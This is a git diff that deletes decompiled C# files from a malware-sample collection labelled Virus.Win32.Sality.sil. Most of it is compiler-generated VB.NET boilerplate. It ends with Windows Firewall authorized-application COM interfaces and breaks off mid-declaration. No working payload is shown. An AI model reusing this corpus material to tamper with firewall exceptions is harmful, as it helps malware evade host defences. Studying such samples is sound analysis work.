a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/InternalXmlHelper.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/InternalXmlHelper.cs deleted file mode 100644 index 0b790365..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/InternalXmlHelper.cs +++ /dev/null @@ -1,177 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: LFSTweak.My.InternalXmlHelper -// Assembly: LFSTweak, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C77C2A36-D42F-41E0-A8F4-0FAB7DAB4ECE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d.exe - -using System; -using System.Collections; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Linq; -using System.Runtime.CompilerServices; -using System.Xml.Linq; - -namespace LFSTweak.My -{ - [CompilerGenerated] - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerNonUserCode] - internal sealed class InternalXmlHelper - { - [EditorBrowsable(EditorBrowsableState.Never)] - private InternalXmlHelper() - { - } - - public static string get_Value(IEnumerable source) - { - IEnumerator enumerator; - try - { - enumerator = source.GetEnumerator(); - if (enumerator.MoveNext()) - return enumerator.Current.Value; - } - finally - { - enumerator?.Dispose(); - } - return (string) null; - } - - public static void set_Value(IEnumerable source, string value) - { - IEnumerator enumerator; - try - { - enumerator = source.GetEnumerator(); - if (!enumerator.MoveNext()) - return; - enumerator.Current.Value = value; - } - finally - { - enumerator?.Dispose(); - } - } - - public static string get_AttributeValue(IEnumerable source, XName name) - { - IEnumerator enumerator; - try - { - enumerator = source.GetEnumerator(); - if (enumerator.MoveNext()) - return (string) enumerator.Current.Attribute(name); - } - finally - { - enumerator?.Dispose(); - } - return (string) null; - } - - public static void set_AttributeValue(IEnumerable source, XName name, string value) - { - IEnumerator enumerator; - try - { - enumerator = source.GetEnumerator(); - if (!enumerator.MoveNext()) - return; - enumerator.Current.SetAttributeValue(name, (object) value); - } - finally - { - enumerator?.Dispose(); - } - } - - public static string get_AttributeValue(XElement source, XName name) => (string) source.Attribute(name); - - public static void set_AttributeValue(XElement source, XName name, string value) => source.SetAttributeValue(name, (object) value); - - [EditorBrowsable(EditorBrowsableState.Never)] - public static XAttribute CreateAttribute(XName name, object value) => value == null ? (XAttribute) null : new XAttribute(name, RuntimeHelpers.GetObjectValue(value)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public static XAttribute CreateNamespaceAttribute(XName name, XNamespace ns) - { - XAttribute namespaceAttribute = new XAttribute(name, (object) ns.NamespaceName); - namespaceAttribute.AddAnnotation((object) ns); - return namespaceAttribute; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public static object RemoveNamespaceAttributes(XNamespace[] ns, object obj) - { - if (ns != null && obj != null) - { - switch (obj) - { - case XElement e: - // ISSUE: reference to a compiler-generated method - return (object) InternalXmlHelper.RemoveNamespaceAttributes(ns, e); - case IEnumerable enumerable: - // ISSUE: reference to a compiler-generated method - return (object) InternalXmlHelper.RemoveNamespaceAttributes(ns, enumerable); - } - } - return obj; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public static IEnumerable RemoveNamespaceAttributes(XNamespace[] ns, IEnumerable obj) - { - if (ns == null || obj == null) - return obj; - // ISSUE: object of a compiler-generated type is created - // ISSUE: reference to a compiler-generated method - // ISSUE: object of a compiler-generated type is created - // ISSUE: reference to a compiler-generated method - return obj is IEnumerable source ? (IEnumerable) source.Select(new Func(new InternalXmlHelper.RemoveNamespaceAttributesClosure(ns).ProcessXElement)) : (IEnumerable) obj.Cast().Select(new Func(new InternalXmlHelper.RemoveNamespaceAttributesClosure(ns).ProcessObject)); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public static XElement RemoveNamespaceAttributes(XNamespace[] ns, XElement e) - { - XAttribute nextAttribute; - if (ns != null && e != null) - { - for (XAttribute xattribute = e.FirstAttribute; xattribute != null; xattribute = nextAttribute) - { - nextAttribute = xattribute.NextAttribute; - if (xattribute.IsNamespaceDeclaration) - { - XNamespace xnamespace = xattribute.Annotation(); - if ((object) xnamespace != null) - { - int num = checked (ns.Length - 1); - int index = 0; - while (index <= num) - { - if (xnamespace == ns[index]) - { - xattribute.Remove(); - break; - } - checked { ++index; } - } - } - } - } - } - return e; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public static XNamespace GetNamespace(ref XNamespace xns, string ns) - { - if ((object) xns == null) - xns = XNamespace.Get(ns); - return xns; - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/MyApplication.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/MyApplication.cs deleted file mode 100644 index 41f8565a..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/MyApplication.cs +++ /dev/null @@ -1,58 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: LFSTweak.My.MyApplication -// Assembly: LFSTweak, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C77C2A36-D42F-41E0-A8F4-0FAB7DAB4ECE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Windows.Forms; - -namespace LFSTweak.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : WindowsFormsApplicationBase - { - private static List __ENCList = new List(); - - [DebuggerNonUserCode] - static MyApplication() - { - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerHidden] - [STAThread] - internal static void Main(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - MyProject.Application.Run(Args); - } - - [DebuggerStepThrough] - public MyApplication() - : base(AuthenticationMode.Windows) - { - lock (MyApplication.__ENCList) - MyApplication.__ENCList.Add(new WeakReference((object) this)); - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1; - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/MyComputer.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/MyComputer.cs deleted file mode 100644 index fb50c346..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: LFSTweak.My.MyComputer -// Assembly: LFSTweak, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C77C2A36-D42F-41E0-A8F4-0FAB7DAB4ECE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace LFSTweak.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyComputer() - { - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/MyProject.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/MyProject.cs deleted file mode 100644 index 0be9c534..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/MyProject.cs +++ /dev/null @@ -1,212 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: LFSTweak.My.MyProject -// Assembly: LFSTweak, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C77C2A36-D42F-41E0-A8F4-0FAB7DAB4ECE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace LFSTweak.My -{ - [StandardModule] - [HideModuleName] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - public Form1 m_Form1; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public Form1 Form1 - { - [DebuggerNonUserCode] get - { - this.m_Form1 = MyProject.MyForms.Create__Instance__(this.m_Form1); - return this.m_Form1; - } - [DebuggerNonUserCode] set - { - if (value == this.m_Form1) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_Form1); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/MySettings.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/MySettings.cs deleted file mode 100644 index 6a32c275..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/MySettings.cs +++ /dev/null @@ -1,74 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: LFSTweak.My.MySettings -// Assembly: LFSTweak, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C77C2A36-D42F-41E0-A8F4-0FAB7DAB4ECE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d.exe - -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace LFSTweak.My -{ - [EditorBrowsable(EditorBrowsableState.Advanced)] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [CompilerGenerated] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool addedHandler; - private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [DebuggerNonUserCode] - [EditorBrowsable(EditorBrowsableState.Advanced)] - private static void AutoSaveSettings(object sender, EventArgs e) - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.addedHandler) - { - object handlerLockObject = MySettings.addedHandlerLockObject; - ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject); - Monitor.Enter(handlerLockObject); - try - { - if (!MySettings.addedHandler) - { - MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - }); - MySettings.addedHandler = true; - } - } - finally - { - Monitor.Exit(handlerLockObject); - } - } - MySettings defaultInstance = MySettings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/MySettingsProperty.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/MySettingsProperty.cs deleted file mode 100644 index fc42e413..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/MySettingsProperty.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: LFSTweak.My.MySettingsProperty -// Assembly: LFSTweak, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C77C2A36-D42F-41E0-A8F4-0FAB7DAB4ECE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace LFSTweak.My -{ - [DebuggerNonUserCode] - [HideModuleName] - [StandardModule] - [CompilerGenerated] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings - { - get - { - MySettings settings = MySettings.Default; - return settings; - } - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/Resources/Resources.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/Resources/Resources.cs deleted file mode 100644 index f507bf97..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: LFSTweak.My.Resources.Resources -// Assembly: LFSTweak, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C77C2A36-D42F-41E0-A8F4-0FAB7DAB4ECE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace LFSTweak.My.Resources -{ - [HideModuleName] - [DebuggerNonUserCode] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [CompilerGenerated] - [StandardModule] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) LFSTweak.My.Resources.Resources.resourceMan, (object) null)) - LFSTweak.My.Resources.Resources.resourceMan = new ResourceManager("LFSTweak.Resources", typeof (LFSTweak.My.Resources.Resources).Assembly); - return LFSTweak.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => LFSTweak.My.Resources.Resources.resourceCulture; - set => LFSTweak.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/Resources.resx b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/Virus.Win32.Sality.sil.csproj b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/Virus.Win32.Sality.sil.csproj deleted file mode 100644 index 70019013..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/Virus.Win32.Sality.sil.csproj +++ /dev/null @@ -1,57 +0,0 @@ - - - - - Debug - AnyCPU - {702B3FF5-6EBB-47BD-B038-EF0191CA095D} - WinExe - LFSTweak - 1.0.0.0 - LFSTweak - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/Virus.Win32.Sality.sil.sln b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/Virus.Win32.Sality.sil.sln deleted file mode 100644 index d2da00b5..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/Virus.Win32.Sality.sil.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "LFSTweak", "Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d.csproj", "{702B3FF5-6EBB-47BD-B038-EF0191CA095D}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {702B3FF5-6EBB-47BD-B038-EF0191CA095D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {702B3FF5-6EBB-47BD-B038-EF0191CA095D}.Debug|Any CPU.Build.0 = Debug|Any CPU - {702B3FF5-6EBB-47BD-B038-EF0191CA095D}.Release|Any CPU.ActiveCfg = Release|Any CPU - {702B3FF5-6EBB-47BD-B038-EF0191CA095D}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/AssemblyInfo.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/AssemblyInfo.cs deleted file mode 100644 index 26d3faa3..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/AssemblyInfo.cs +++ /dev/null @@ -1,14 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyDescription("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyTitle("")] -[assembly: AssemblyProduct("")] -[assembly: AssemblyKeyFile("")] -[assembly: AssemblyCopyright("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyKeyName("")] -[assembly: AssemblyDelaySign(false)] -[assembly: AssemblyFileVersion("1.1.51.0")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwAuthorizedApplication.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwAuthorizedApplication.cs deleted file mode 100644 index 0de0239d..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwAuthorizedApplication.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: INetFwAuthorizedApplication -// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe - -using System.Runtime.InteropServices; - -[Guid("B5E64FFA-C2C5-444E-A301-FB5E00018050")] -[TypeLibType(4160)] -[ComImport] -public interface INetFwAuthorizedApplication -{ - [DispId(1)] - string Name { [DispId(1)] [return: MarshalAs(UnmanagedType.BStr)] get; [DispId(1)] set; } - - [DispId(2)] - string ProcessImageFileName { [DispId(2)] [return: MarshalAs(UnmanagedType.BStr)] get; [DispId(2)] set; } - - [DispId(3)] - NET_FW_IP_VERSION_ IpVersion { [DispId(3)] get; [DispId(3)] set; } - - [DispId(4)] - NET_FW_SCOPE_ Scope { [DispId(4)] get; [DispId(4)] set; } - - [DispId(5)] - string RemoteAddresses { [DispId(5)] [return: MarshalAs(UnmanagedType.BStr)] get; [DispId(5)] set; } - - [DispId(6)] - bool Enabled { [DispId(6)] get; [DispId(6)] set; } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwAuthorizedApplications.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwAuthorizedApplications.cs deleted file mode 100644 index cbfb5c4d..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwAuthorizedApplications.cs +++ /dev/null @@ -1,32 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: INetFwAuthorizedApplications -// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe - -using System.Collections; -using System.Runtime.InteropServices; - -[TypeLibType(4160)] -[Guid("644EFD52-CCF9-486C-97A2-39F352570B30")] -[ComImport] -public interface INetFwAuthorizedApplications : IEnumerable -{ - [DispId(1)] - int Count { [DispId(1)] get; } - - [DispId(2)] - void Add([MarshalAs(UnmanagedType.Interface), In] INetFwAuthorizedApplication 